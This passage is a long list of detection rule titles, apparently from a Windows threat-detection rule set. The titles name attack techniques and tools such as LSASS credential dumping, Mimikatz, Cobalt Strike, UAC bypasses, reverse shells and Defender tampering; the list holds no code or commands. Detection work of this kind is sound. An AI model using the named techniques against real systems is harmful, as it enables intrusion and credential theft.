Microsoft Malware Protection Engine Crash - WER Suspicious Remote AppX Package Locations Suspicious AppX Package Locations BITS Transfer Job Download From File Sharing Domains BITS Transfer Job Download From Direct IP BITS Transfer Job Download To Potential Suspicious Folder CodeIntegrity - Disallowed File For Protected Processes Has Been Blocked CodeIntegrity - Blocked Image/Driver Load For Policy Violation CodeIntegrity - Blocked Driver Load With Revoked Certificate CodeIntegrity - Revoked Kernel Driver Loaded CodeIntegrity - Blocked Image Load With Revoked Certificate CodeIntegrity - Revoked Image Loaded CodeIntegrity - Unsigned Kernel Module Loaded CodeIntegrity - Unsigned Image Loaded CodeIntegrity - Unmet WHQL Requirements For Loaded Kernel Module Loading Diagcab Package From Remote Path DNS Query for Anonfiles.com Domain - DNS Client Query Tor Onion Address - DNS Client DNS Server Error Failed Loading the ServerLevelPluginDLL New Firewall Rule Added In Windows Firewall Exception List For Potential Suspicious Application All Rules Have Been Deleted From The Windows Firewall Configuration HTTP Logging Disabled On IIS Server Remove Exported Mailbox from Exchange Webserver Exchange Set OabVirtualDirectory ExternalUrl Property Failed MSExchange Transport Agent Installation Powerview Add-DomainObjectAcl DCSync AD Extend Right AD Privileged Users or Groups Reconnaissance ADCS Certificate Template Configuration Vulnerability with Risky EKU Enabled User Right in AD to Control User Objects Active Directory User Backdoors Weak Encryption Enabled and Kerberoast Hacktool Ruler Security Eventlog Cleared CobaltStrike Service Installations - Security DCOM InternetExplorer.Application Iertutil DLL Hijack - Security Mimikatz DC Sync Important Windows Event Auditing Disabled ETW Logging Disabled In .NET Processes - Registry DPAPI Domain Backup Key Extraction Persistence and Execution at Scale via GPO Scheduled Task Hidden Local User Creation HackTool - EDRSilencer Execution - Filter Added HackTool - NoFilter Execution HybridConnectionManager Service Installation Impacket PsExec Execution Possible Impacket SecretDump Remote Activity Invoke-Obfuscation CLIP+ Launcher - Security Invoke-Obfuscation Obfuscated IEX Invocation - Security Invoke-Obfuscation STDIN+ Launcher - Security Invoke-Obfuscation VAR+ Launcher - Security Invoke-Obfuscation Via Stdin - Security Invoke-Obfuscation Via Use Clip - Security Invoke-Obfuscation Via Use MSHTA - Security Invoke-Obfuscation Via Use Rundll32 - Security Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security First Time Seen Remote Named Pipe Credential Dumping Tools Service Execution - Security Metasploit SMB Authentication Metasploit Or Impacket Service Installation Via SMB PsExec Meterpreter or Cobalt Strike Getsystem Service Installation - Security NetNTLM Downgrade Attack Possible PetitPotam Coerce Authentication Attempt PetitPotam Suspicious Kerberos TGT Request PowerShell Scripts Installed as Services - Security Protected Storage Service Access RDP over Reverse SSH Tunnel WFP Register new Logon Process by Rubeus Remote PowerShell Sessions Network Connections (WinRM) Replay Attack Detected SAM Registry Hive Handle Request Service Installed By Unusual Client - Security SMB Create Remote File Admin Share Password Change on Directory Service Restore Mode (DSRM) Account Kerberos Manipulation Suspicious LDAP-Attributes Used Suspicious Windows ANONYMOUS LOGON Local Account Created Password Dumper Activity on LSASS Reconnaissance Activity Password Protected ZIP File Opened (Suspicious Filenames) Password Protected ZIP File Opened (Email Attachment) Possible Shadow Credentials Added Suspicious PsExec Execution Suspicious Scheduled Task Creation Important Scheduled Task Deleted/Disabled Suspicious Scheduled Task Update SysKey Registry Keys Access Sysmon Channel Reference Deletion Suspicious Teams Application Related ObjectAcess Event User Couldn't Call a Privileged Service 'LsaRegisterLogonProcess' T1047 Wmiprvse Wbemcomn DLL Hijack RDP Login from Localhost Successful Overpass the Hash Attempt Scanner PoC for CVE-2019-0708 RDP RCE Vuln External Remote SMB Logon from Public IP Potential Privilege Escalation via Local Kerberos Relay over LDAP RottenPotato Like Attack Pattern Windows Filtering Platform Blocked Connection From EDR Agent Binary Microsoft Defender Blocked from Loading Unsigned DLL Unsigned Binary Loaded From Suspicious Location HybridConnectionManager Service Running Sysmon Application Crashed DHCP Server Error Failed Loading the CallOut DLL DHCP Server Loaded the CallOut DLL Local Privilege Escalation Indicator TabTip Important Windows Eventlog Cleared KDC RC4-HMAC Downgrade CVE-2022-37966 Critical Hive In Suspicious Location Access Bits Cleared Vulnerable Netlogon Secure Channel Connection Allowed NTFS Vulnerability Exploitation smbexec.py Service Installation Invoke-Obfuscation CLIP+ Launcher - System Invoke-Obfuscation Obfuscated IEX Invocation - System Invoke-Obfuscation STDIN+ Launcher - System Invoke-Obfuscation VAR+ Launcher - System Invoke-Obfuscation Via Stdin - System Invoke-Obfuscation Via Use Clip - System Invoke-Obfuscation Via Use MSHTA - System Invoke-Obfuscation Via Use Rundll32 - System Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System KrbRelayUp Service Installation Credential Dumping Tools Service Execution - System Meterpreter or Cobalt Strike Getsystem Service Installation - System PowerShell Scripts Installed as Services HackTool Service Registration or Execution ProcessHacker Privilege Elevation Sliver C2 Default Service Installation Service Installed By Unusual Client - System Suspicious Service Installation Important Windows Service Terminated With Error Important Windows Service Terminated Unexpectedly RTCore Suspicious Service Installation Service Installation with Suspicious Folder Pattern Suspicious Service Installation Script Important Scheduled Task Deleted Ngrok Usage with Remote Desktop Service Windows Defender Grace Period Expired LSASS Access Detected via Attack Surface Reduction PSExec and WMI Process Creations Block Windows Defender Exploit Guard Tamper Windows Defender Malware And PUA Scanning Disabled Windows Defender AMSI Trigger Detected Windows Defender Real-time Protection Disabled Win Defender Restored Quarantine File Windows Defender Configuration Changes Microsoft Defender Tamper Protection Trigger Windows Defender Threat Detected Windows Defender Virus Scanning Feature Disabled HackTool - CACTUSTORCH Remote Thread Creation HackTool - Potential CobaltStrike Process Injection Remote Thread Created In KeePass.EXE Remote Thread Creation In Mstsc.Exe From Suspicious Location Potential Credential Dumping Attempt Via PowerShell Remote Thread Password Dumper Remote Thread in LSASS Rare Remote Thread Creation By Uncommon Source Image Remote Thread Creation Ttdinject.exe Proxy Suspicious File Download From File Sharing Websites - File Stream HackTool Named File Stream Created Exports Registry Key To an Alternate Data Stream Unusual File Download from Direct IP Address Potential Suspicious Winget Package Installation Potentially Suspicious File Download From ZIP TLD DNS Query for Anonfiles.com Domain - Sysmon DNS HybridConnectionManager Service Bus DNS Query Tor .Onion Address - Sysmon Malicious Driver Load Driver Load From A Temporary Directory PUA - Process Hacker Driver Load Vulnerable HackSys Extreme Vulnerable Driver Load Vulnerable WinRing0 Driver Load WinDivert Driver Load Vulnerable Driver Load File Creation Date Changed to Another Year Unusual File Modification by dns.exe Potential PrintNightmare Exploitation Attempt Exchange PowerShell Cmdlet History Deleted Prefetch File Deleted Unusual File Deletion by Dns.exe Suspicious Binary Writes Via AnyDesk BloodHound Collection Files Creation Exe for Service with Unquoted Path Cred Dump Tools Dropped Files WScript or CScript Dropper - File DLL Search Order Hijackig Via Additional Space in Path Suspicious ASPX File Drop by Exchange HackTool - CrackMapExec File Indicators HackTool - Typical HiveNightmare SAM File Export HackTool - RemoteKrbRelay SMB Relay Secrets Dump Module Indicators HackTool - NPPSpy Hacktool Usage HackTool - Powerup Write Hijack DLL HackTool - Potential Remote Credential Dumping Activity Via CrackMapExec Or Impacket-Secretsdump HackTool - SafetyKatz Dump Indicator Malicious DLL File Dropped in the Teams or OneDrive Folder ISO File Created Within Temp Folders LSASS Process Memory Dump Files LSASS Process Dump Artefact In CrashDumps Folder WerFault LSASS Process Memory Dump Octopus Scanner Malware Adwind RAT / JRAT File Artifact File Creation In Suspicious Directory By Msdt.EXE Uncommon File Creation By Mysql Daemon Process Suspicious DotNET CLR Usage Log Artifact Suspicious File Creation In Uncommon AppData Folder NTDS.DIT Creation By Uncommon Parent Process NTDS.DIT Creation By Uncommon Process NTDS Exfiltration Filename Patterns Potential Persistence Via Microsoft Office Add-In Office Macro File Creation From Suspicious Process Suspicious File Created Via OneNote Application .RDP File Created by Outlook Process PCRE.NET Package Temp Files Suspicious Outlook Macro Created Potential Persistence Via Microsoft Office Startup Folder File With Uncommon Extension Created By An Office Application Uncommon File Created In Office Startup Folder Potential Persistence Via Outlook Form Malicious PowerShell Scripts - FileCreation Potential Startup Shortcut Persistence Via PowerShell.EXE .RDP File Created By Uncommon Application Potential Winnti Dropper Activity PDF File Created By RegEdit.EXE Potential RipZip Attack on Startup Folder Potential SAM Database Dump Windows Shell/Scripting Application File Write to Suspicious Folder Windows Binaries Write Suspicious Extensions Suspicious Creation with Colorcpl Suspicious Desktopimgdownldr Target File Suspicious Creation TXT File in User Desktop DPAPI Backup Keys And Certificate Export Activity IOC Suspicious Double Extension Files Suspicious MSExchangeMailboxReplication ASPX Write Suspicious Executable File Creation Suspicious Get-Variable.exe Creation Legitimate Application Dropped Archive Legitimate Application Dropped Executable Legitimate Application Dropped Script Suspicious File Creation Activity From Fake Recycle.Bin Folder Potential File Extension Spoofing Using Right-to-Left Override Suspicious Startup Folder Persistence Suspicious Scheduled Task Write to System32 Tasks Suspicious Interactive PowerShell as SYSTEM LiveKD Kernel Memory Dump File Created LiveKD Driver Creation By Uncommon Process Process Explorer Driver Creation By Non-Sysinternals Binary PSEXEC Remote Execution File Artefact Potential Privilege Escalation Attempt Via .Exe.Local Technique LSASS Process Memory Dump Creation Via Taskmgr.EXE Hijack Legit RDP Session to Move Laterally UAC Bypass Using Consent and Comctl32 - File UAC Bypass Using .NET Code Profiler on MMC UAC Bypass Using EventVwr UAC Bypass Using IDiagnostic Profile - File UAC Bypass Using IEInstal - File UAC Bypass Using MSConfig Token Modification - File UAC Bypass Using NTFS Reparse Point - File UAC Bypass Abusing Winsat Path Parsing - File UAC Bypass Using Windows Media Player - File Renamed VsCode Code Tunnel Execution - File Indicator WMI Persistence - Script Event Consumer File Write UEFI Persistence Via Wpbbin - FileCreation DLL Loaded From Suspicious Location Via Cmspt.EXE Suspicious Renamed Comsvcs DLL Loaded By Rundll32 Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded PCRE.NET Package Image Load Load Of RstrtMgr.DLL By A Suspicious Process Diagnostic Library Sdiageng.DLL Loaded By Msdt.EXE Time Travel Debugging Utility Usage - Image Suspicious Volume Shadow Copy Vssapi.dll Load Suspicious Volume Shadow Copy VSS_PS.dll Load HackTool - SILENTTRINITY Stager DLL Load HackTool - SharpEvtMute DLL Load GAC DLL Loaded Via Office Applications VBA DLL Loaded Via Office Application Abusable DLL Potential Sideloading From Suspicious Location Potential appverifUI.DLL Sideloading Aruba Network Service Potential DLL Sideloading Potential DLL Sideloading Via comctl32.dll Potential EACore.DLL Sideloading Potential Edputil.DLL Sideloading Potential System DLL Sideloading From Non System Locations Potential Iviewers.DLL Sideloading Potential DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE Unsigned Mfdetours.DLL Sideloading Potential DLL Sideloading Of Non-Existent DLLs From System Folders Microsoft Office DLL Sideload Potential Rcdll.DLL Sideloading Potential RjvPlatform.DLL Sideloading From Non-Default Location DLL Sideloading Of ShellChromeAPI.DLL Potential SmadHook.DLL Sideloading Fax Service DLL Search Order Hijack VMMap Unsigned Dbghelp.DLL Potential Sideloading Potential DLL Sideloading Via VMware Xfer Potential Waveedit.DLL Sideloading Potential Mpclient.DLL Sideloading DotNet CLR DLL Loaded By Scripting Applications Suspicious Unsigned Thor Scanner Execution UAC Bypass Using Iscsicpl - ImageLoad UAC Bypass With Fake DLL Wmiprvse Wbemcomn DLL Hijack WMI Persistence - Command Line Event Consumer Network Connection Initiated By AddinUtil.EXE Uncommon Network Connection Initiated By Certutil.EXE Outbound Network Connection Initiated By Cmstp.EXE Outbound Network Connection Initiated By Microsoft Dialer Network Communication With Crypto Mining Pool New Connection Initiated To Potential Dead Drop Resolver Domain Suspicious Dropbox API Usage Communication To LocaltoNet Tunneling Service Initiated Process Initiated Network Connection To Ngrok Domain Communication To Ngrok Tunneling Service Initiated Network Connection Initiated By Eqnedt32.EXE Network Connection Initiated By IMEWDBLD.EXE Network Connection Initiated Via Notepad.EXE Outbound RDP Connections Over Non-Standard Tools RDP Over Reverse SSH Tunnel RDP to HTTP or HTTPS Target Ports Silenttrinity Stager Msbuild Activity Network Connection Initiated From Process Located In Potentially Suspicious Or Uncommon Location Potentially Suspicious Malware Callback Communication Network Communication Initiated To File Sharing Domains From Process Located In Suspicious Folder Potential Remote PowerShell Session Initiated Suspicious Network Connection Binary No CommandLine Outbound Network Connection Initiated By Script Interpreter CobaltStrike Named Pipe Patterns HackTool - CoercedPotato Named Pipe Creation HackTool - EfsPotato Named Pipe Creation Delete Volume Shadow Copies Via WMI With PowerShell PowerShell Called from an Executable Version Mismatch Potential RemoteFXvGPUDisablement.EXE Abuse Tamper Windows Defender - PSClassic Malicious PowerShell Scripts - PoshModule Suspicious Get-ADDBAccount Usage HackTool - Evil-WinRm Execution - PowerShell Module Invoke-Obfuscation CLIP+ Launcher - PowerShell Module Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Module Invoke-Obfuscation STDIN+ Launcher - PowerShell Module Invoke-Obfuscation VAR+ Launcher - PowerShell Module Invoke-Obfuscation Via Stdin - PowerShell Module Invoke-Obfuscation Via Use MSHTA - PowerShell Module Invoke-Obfuscation Via Use Clip - PowerShell Module Invoke-Obfuscation Via Use Rundll32 - PowerShell Module Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Module Malicious PowerShell Commandlets - PoshModule Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell Module Remote PowerShell Session (PS Module) Suspicious PowerShell Invocations - Generic - PowerShell Module Suspicious PowerShell Invocations - Specific - PowerShell Module AADInternals PowerShell Cmdlets Execution - PsScript Powershell Add Name Resolution Policy Table Rule PowerShell ADRecon Execution AMSI Bypass Pattern Assembly GetType Clearing Windows Console History Powershell Install a DLL in System Directory Create Volume Shadow Copy with Powershell Disable Powershell Command History Disable-WindowsOptionalFeature Command PowerShell DSInternals Suspicious PowerShell Cmdlets - ScriptBlock Disable of ETW Trace - Powershell HackTool - Rubeus Execution - ScriptBlock HackTool - WinPwn Execution - ScriptBlock Powershell DNSExfiltration Invoke-Obfuscation CLIP+ Launcher - PowerShell Invoke-Obfuscation Obfuscated IEX Invocation - PowerShell Invoke-Obfuscation STDIN+ Launcher - Powershell Invoke-Obfuscation VAR+ Launcher - PowerShell Invoke-Obfuscation Via Stdin - Powershell Invoke-Obfuscation Via Use Clip - Powershell Invoke-Obfuscation Via Use MSHTA - PowerShell Invoke-Obfuscation Via Use Rundll32 - PowerShell Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell Malicious PowerShell Commandlets - ScriptBlock Live Memory Dump Using Powershell Malicious Nishang PowerShell Commandlets NTFS Alternate Data Stream Code Executed Via Office Add-in XLL File Potential Invoke-Mimikatz PowerShell Script PowerShell Web Access Installation - PsScript PowerView PowerShell Cmdlets - ScriptBlock PowerShell Credential Prompt PSAsyncShell - Asynchronous TCP Reverse Shell PowerShell PSAttack Potential RemoteFXvGPUDisablement.EXE Abuse - PowerShell ScriptBlock Request A Single Ticket via PowerShell PowerShell Set-Acl On Windows Folder - PsScript PowerShell ShellCode Malicious ShellIntel PowerShell Commandlets Potential Persistence Via Security Descriptors - ScriptBlock PowerShell Get-Process LSASS in ScriptBlock Suspicious PowerShell Invocations - Generic Suspicious PowerShell Invocations - Specific Suspicious Service DACL Modification Via Set-Service Cmdlet - PS Delete Volume Shadow Copies via WMI with PowerShell - PS Script Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script Tamper Windows Defender Remove-MpPreference - ScriptBlockLogging Tamper Windows Defender - ScriptBlockLogging Powershell Token Obfuscation - Powershell Abuse of Service Permissions to Hide Services Via Set-Service - PS Veeam Backup Servers Credential Dumping Script Execution Potential WinAPI Calls Via PowerShell Scripts WMImplant Hack Tool CMSTP Execution Process Access HackTool - CobaltStrike BOF Injection Pattern HackTool - Generic Process Access HackTool - LittleCorporal Generated Maldoc Injection HackTool - HandleKatz Duplicating LSASS Handle Lsass Memory Dump via Comsvcs DLL HackTool - SysmonEnte Execution LSASS Memory Access by Tool With Dump Keyword In Name Credential Dumping Activity By Python Based Tool Remote LSASS Process Access Through Windows Remote Management Suspicious LSASS Access Via MalSecLogon Credential Dumping Attempt Via WerFault LSASS Access From Potentially White-Listed Processes Credential Dumping Attempt Via Svchost Suspicious Svchost Process Access UAC Bypass Using WOW64 Logger DLL Hijack Suspicious AddinUtil.EXE CommandLine Execution Potential Adplus.EXE Abuse Suspicious AgentExecutor PowerShell Execution Suspicious Child Process of AspNetCompiler Potentially Suspicious ASP.NET Compilation Via AspNetCompiler Set Suspicious Files as System Files Using Attrib.EXE Interactive AT Job Audit Policy Tampering Via NT Resource Kit Auditpol Audit Policy Tampering Via Auditpol Boot Configuration Tampering Via Bcdedit.EXE Suspicious Child Process Of BgInfo.EXE Suspicious Download From Direct IP Via Bitsadmin Suspicious Download From File-Sharing Website Via Bitsadmin File With Suspicious Extension Downloaded Via Bitsadmin File Download Via Bitsadmin To A Suspicious Target Folder Potential Data Stealing Via Chromium Headless Debugging File Download with Headless Browser Chromium Browser Headless Execution To Mockbin Like Site Suspicious Chromium Browser Instance Executed With Custom Extension Tor Client/Browser Execution Suspicious Calculator Usage File Download From IP Based URL Via CertOC.EXE Suspicious DLL Loaded via CertOC.EXE Suspicious File Downloaded From Direct IP Via Certutil.EXE Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE Potential NTLM Coercion Via Certutil.EXE Suspicious File Encoded To Base64 Via Certutil.EXE File In Suspicious Location Encoded To Base64 Via Certutil.EXE Process Access via TrolleyExpress Exclusion Potential Reconnaissance For Cached Credentials Via Cmdkey.EXE Change Default File Association To Executable Via Assoc Copy .DMP/.DUMP Files From Remote Share Via Cmd.EXE Curl Download And Execute Combination Potential Privilege Escalation Using Symlink Between Osk and Cmd VolumeShadowCopy Symlink Creation Via Mklink Suspicious File Execution From Internet Hosted WebDav Share Cmd.EXE Missing Space Characters Execution Anomaly Potential CommandLine Path Traversal Via Cmd.EXE NtdllPipe Like Activity Execution Suspicious Ping/Del Command Combination Copy From VolumeShadowCopy Via Cmd.EXE CMSTP Execution Process Creation Conhost.exe CommandLine Path Traversal Control Panel Items CreateDump Process Dump Csc.EXE Execution Form Potentially Suspicious Parent Suspicious Use of CSharp Interactive Console Suspicious File Download From IP Via Curl.EXE Suspicious File Download From File Sharing Domain Via Curl.EXE Suspicious Curl.EXE Download ManageEngine Endpoint Central Dctask64.EXE Potential Abuse Suspicious Desktopimgdownldr Command PowerShell Web Access Feature Enabled Via DISM Dllhost.EXE Execution Anomaly DLL Sideloading by VMware Xfer Utility New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE DNS Exfiltration and Tunneling Tools Execution Unusual Child Process of dns.exe Potential Recon Activity Using DriverQuery.EXE Suspicious Kernel Dump Using Dtrace Potential Windows Defender AV Bypass Via Dump64.EXE Rename Suspicious DumpMinitool Execution Copying Sensitive Files with Credential Data Potentially Suspicious Event Viewer Child Process File Explorer Folder Opened Using Explorer Folder Shortcut Via Shell Explorer NOUACCHECK Flag Findstr GPP Passwords LSASS Process Reconnaissance Via Findstr.EXE Sysmon Discovery Via Default Driver Altitude Using Findstr.EXE Finger.EXE Execution Sysmon Driver Unloaded Via Fltmc.EXE Forfiles.EXE Child Process Masquerading Uncommon FileSystem Load Attempt By Format.com Fsutil Suspicious Invocation Potentially Suspicious GoogleUpdate Child Process File Encryption/Decryption Via Gpg4win From Suspicious Locations File Download Using Notepad++ GUP Utility Suspicious GUP Usage Remote CHM File Download/Execution Via HH.EXE HTML Help HH.EXE Suspicious Child Process Suspicious HH.EXE Execution HackTool - ADCSPwn Execution HackTool - Bloodhound/Sharphound Execution HackTool - Certify Execution HackTool - Certipy Execution Operator Bloopers Cobalt Strike Commands Operator Bloopers Cobalt Strike Modules CobaltStrike Load by Rundll32 Potential CobaltStrike Process Patterns HackTool - CoercedPotato Execution HackTool - Covenant PowerShell Launcher HackTool - CrackMapExec Execution HackTool - CrackMapExec Execution Patterns HackTool - CrackMapExec Process Patterns HackTool - CrackMapExec PowerShell Obfuscation HackTool - CreateMiniDump Execution HackTool - EDRSilencer Execution HackTool - Empire PowerShell Launch Parameters Hacktool Execution - PE Metadata HackTool - GMER Rootkit Detector and Remover Execution HackTool - HandleKatz LSASS Dumper Execution HackTool - Hashcat Password Cracker Execution HackTool - Htran/NATBypass Execution HackTool - Hydra Password Bruteforce Execution HackTool - Potential Impacket Lateral Movement Activity HackTool - Impacket Tools Execution Invoke-Obfuscation CLIP+ Launcher Invoke-Obfuscation Obfuscated IEX Invocation Invoke-Obfuscation STDIN+ Launcher Invoke-Obfuscation VAR+ Launcher Invoke-Obfuscation Via Stdin Invoke-Obfuscation Via Use Clip Invoke-Obfuscation Via Use MSHTA Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION HackTool - Koadic Execution HackTool - KrbRelay Execution HackTool - KrbRelayUp Execution HackTool - RemoteKrbRelay Execution HackTool - LocalPotato Execution Potential Meterpreter/CobaltStrike Activity HackTool - Mimikatz Execution HackTool - PCHunter Execution HackTool - Default PowerSploit/Empire Scheduled Task Creation HackTool - PowerTool Execution HackTool - Pypykatz Credentials Dumping Activity HackTool - Quarks PwDump Execution HackTool - RedMimicry Winnti Playbook Execution HackTool - PPID Spoofing SelectMyParent Tool Execution HackTool - SharPersist Execution HackTool - SharpEvtMute Execution HackTool - SharpLdapWhoami Execution HackTool - SharpMove Tool Execution HackTool - SharpView Execution HackTool - SharpWSUS/WSUSpendu Execution HackTool - SharpChisel Execution HackTool - SharpImpersonation Execution HackTool - SharpDPAPI Execution HackTool - SILENTTRINITY Stager Execution HackTool - SOAPHound Execution HackTool - Stracciatella Execution HackTool - TruffleSnout Execution HackTool - UACMe Akagi Execution HackTool - winPEAS Execution HackTool - WinPwn Execution HackTool - Wmiexec Default Powershell Command HackTool - XORDump Execution Suspicious HWP Sub Processes File Download And Execution Via IEExec.EXE Self Extracting Package Creation Via Iexpress.EXE From Potentially Suspicious Location Disable Windows IIS HTTP Logging Microsoft IIS Service Account Password Dumped Microsoft IIS Connection Strings Decryption Suspicious IIS Module Registration ImagingDevices Unusual Parent/Child Processes Arbitrary File Download Via IMEWDBLD.EXE Suspicious Shells Spawn by Java Utility Keytool Suspicious Child Process Of Manage Engine ServiceDesk Suspicious Processes Spawned by Java.EXE Kavremover Dropped Binary LOLBIN Usage Suspicious Windows Trace ETW Session Tamper Via Logman.EXE Devtoolslauncher.exe Executes Specified Binary Potential Manage-bde.wsf Abuse To Proxy Execution Mavinject Inject DLL Into Running Process MpiExec Lolbin Execute MSDT Via Answer File OpenWith.exe Executes Specified Binary Execute Pcwrun.EXE To Leverage Follina PrintBrm ZIP Creation of Extraction Using SettingSyncHost.exe as LOLBin Suspicious Certreq Command to Download Suspicious GrpConv Execution Time Travel Debugging Utility Usage Visual Basic Command Line Compiler Usage MMC20 Lateral Movement MMC Spawning Windows Shell Potential Suspicious Mofcomp Execution Potential Mpclient.DLL Sideloading Via Defender Binaries File Download Via Windows Defender MpCmpRun.EXE Windows Defender Definition Files Removed Potential Arbitrary Command Execution Using Msdt.EXE Suspicious MSDT Parent Process Remotely Hosted HTA File Executed Via Mshta.EXE Suspicious JavaScript Execution Via Mshta.EXE Potential LethalHTA Technique Execution Suspicious MSHTA Child Process MSHTA Suspicious Execution 01 Suspicious Mshta.EXE Execution Patterns Potential MsiExec Masquerading Potential Process Injection Via Msra.EXE Suspicious Child Process Of SQL Server Potential MSTSC Shadowing Activity Suspicious Mstsc.EXE Execution With Local RDP File Mstsc.EXE Execution From Uncommon Parent Remote XSL Execution Via Msxsl.EXE Suspicious Program Location Whitelisted In Firewall Via Netsh.EXE RDP Connection Allowed Via Netsh.EXE RDP Port Forwarding Rule Added Via Netsh.EXE New User Created Via Net.EXE With Never Expire Option Suspicious Manipulation Of Default Accounts Via Net.EXE Windows Internet Hosted WebDav Share Mount Via Net.EXE Potential Arbitrary Code Execution Via Node.EXE Network Reconnaissance Activity Suspicious Driver/DLL Installation Via Odbcconf.EXE Odbcconf.EXE Suspicious DLL Location Potentially Suspicious DLL Registered Via Odbcconf.EXE Suspicious Response File Execution Via Odbcconf.EXE Potential Arbitrary File Download Using Office Application Potential Excel.EXE DCOM Lateral Movement Via ActivateMicrosoftApp Potentially Suspicious Office Document Executed From Trusted Location OneNote.EXE Execution of Malicious Embedded Scripts Suspicious Microsoft OneNote Child Process Outlook EnableUnsafeClientMailRules Setting Enabled Suspicious Execution From Outlook Temporary Folder Suspicious Outlook Child Process Suspicious Remote Child Process From Outlook Suspicious Binary In User Directory Spawned From Office Application Suspicious Microsoft Office Child Process Ping Hex IP Suspicious Plink Port Forwarding Potential RDP Tunneling Via Plink AADInternals PowerShell Cmdlets Execution - ProccessCreation Potential AMSI Bypass Via .NET Reflection Suspicious Encoded PowerShell Command Line Suspicious PowerShell Encoded Command Patterns Suspicious Obfuscated PowerShell Code PowerShell Base64 Encoded FromBase64String Cmdlet Malicious Base64 Encoded PowerShell Keywords in Command Lines PowerShell Base64 Encoded IEX Cmdlet PowerShell Base64 Encoded Invoke Keyword Powershell Base64 Encoded MpPreference Cmdlet PowerShell Base64 Encoded Reflective Assembly Load Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call PowerShell Base64 Encoded WMI Classes Potential PowerShell Obfuscation Via Reversed Commands Potential PowerShell Command Line Obfuscation PowerShell Execution With Potential Decryption Capabilities Powershell Defender Disable Scan Feature Disable Windows Defender AV Security Monitoring Disabled IE Security Features Obfuscated PowerShell OneLiner Execution PowerShell Download and Execution Cradles Potentially Suspicious File Download From File Sharing Domain Via PowerShell.EXE DSInternals Suspicious PowerShell Cmdlets Email Exifiltration Via Powershell Base64 Encoded PowerShell Command Detected PowerShell Get-Process LSASS Abuse of Service Permissions to Hide Services Via Set-Service Suspicious PowerShell IEX Execution Patterns Root Certificate Installed From Susp Locations Suspicious Invoke-WebRequest Execution Malicious PowerShell Commandlets - ProcessCreation Potential PowerShell Obfuscation Via WCHAR Execution of Powershell Script in Public Folder Tamper Windows Defender Remove-MpPreference RemoteFXvGPUDisablement Abuse Via AtomicTestHarnesses Potential Powershell ReverseShell Connection Run PowerShell Script from ADS Run PowerShell Script from Redirected Input Stream PowerShell SAM Copy Suspicious Service DACL Modification Via Set-Service Cmdlet PowerShell Set-Acl On Windows Folder PowerShell Script Change Permission Via Set-Acl Deletion of Volume Shadow Copies via WMI with PowerShell Exchange PowerShell Snap-Ins Usage Suspicious PowerShell Download and Execute Pattern Suspicious PowerShell Parameter Substring Suspicious PowerShell Parent Process Powershell Token Obfuscation - Process Creation PowerShell DownloadFile Net WebClient Casing Anomalies Suspicious Provlaunch.EXE Child Process PUA - 3Proxy Execution PUA - AdFind Suspicious Execution PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE PUA - AdvancedRun Suspicious Execution PUA - Chisel Tunneling Tool Execution PUA - CleanWipe Execution PUA - Crassus Execution PUA - CsExec Execution PUA - DIT Snapshot Viewer PUA - DefenderCheck Execution PUA - Fast Reverse Proxy (FRP) Execution PUA- IOX Tunneling Tool Execution PUA - Netcat Suspicious Execution PUA - Ngrok Execution PUA - Nimgrab Execution PUA - NirCmd Execution As LOCAL SYSTEM PUA - NPS Tunneling Tool Execution PUA - NSudo Execution PUA - PingCastle Execution From Potentially Suspicious Parent PUA - Rclone Execution PUA - RunXCmd Execution PUA - Seatbelt Execution PUA - Wsudo Suspicious Execution Python Spawning Pretty TTY on Windows Rar Usage with Password and Compression Level Suspicious Greedy Compression Using Rar.EXE Process Memory Dump via RdrLeakDiag.EXE Exports Critical Registry Keys To a File Imports Registry Key From an ADS Regedit as Trusted Installer Suspicious Registry Modification From ADS Via Regini.EXE Suspicious Debugger Registration Cmdline IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Via CLI Potential Persistence Via Logon Scripts - CommandLine Potential Credential Dumping Attempt Using New NetworkProvider - CLI Python Function Execution Security Warning Disabled In Excel Potential Privilege Escalation via Service Permissions Weakness Potential Provisioning Registry Key Abuse For Binary Proxy Execution Potential PowerShell Execution Policy Tampering - ProcCreation Potentially Suspicious Regsvr32 HTTP IP Pattern Suspicious Regsvr32 Execution From Remote Share Potentially Suspicious Child Process Of Regsvr32 Regsvr32 Execution From Highly Suspicious Location Regsvr32 DLL Execution With Suspicious File Extension Add SafeBoot Keys Via Reg Utility Suspicious Reg Add BitLocker SafeBoot Registry Key Deleted Via Reg.EXE Service Registry Key Deleted Via Reg.EXE Security Service Disabled Via Reg.EXE Dumping of Sensitive Hives Via Reg.EXE LSA PPL Protection Disabled Via Reg.EXE Enable LM Hash Storage - ProcCreation RestrictedAdminMode Registry Value Tampering - ProcCreation Potential Tampering With RDP Related Registry Keys Via Reg.EXE Reg Add Suspicious Paths Disabled Volume Snapshots Suspicious Windows Defender Registry Key Tampering Via Reg.EXE Remote Access Tool - AnyDesk Silent Installation Remote Access Tool - Anydesk Execution From Suspicious Folder Remote Access Tool - ScreenConnect Server Web Shell Execution Renamed AdFind Execution Renamed AutoIt Execution Potential Defense Evasion Via Rename Of Highly Relevant Binaries Renamed BrowserCore.EXE Execution Renamed Cloudflared.EXE Execution Renamed CreateDump Utility Execution Renamed ZOHO Dctask64 Execution Renamed Gpg.EXE Execution Renamed Jusched.EXE Execution Renamed Mavinject.EXE Execution Renamed MegaSync Execution Renamed Msdt.EXE Execution Renamed NetSupport RAT Execution Renamed NirCmd.EXE Execution Renamed Office Binary Execution Renamed PAExec Execution Renamed PingCastle Binary Execution Renamed Plink Execution Potential Renamed Rundll32 Execution Renamed SysInternals DebugView Execution Renamed ProcDump Execution Renamed PsExec Service Execution Renamed Sysinternals Sdelete Execution Renamed Vmnat.exe Execution Potential Rundll32 Execution With DLL Stored In ADS Suspicious Advpack Call Via Rundll32.EXE Suspicious Rundll32 Invoking Inline 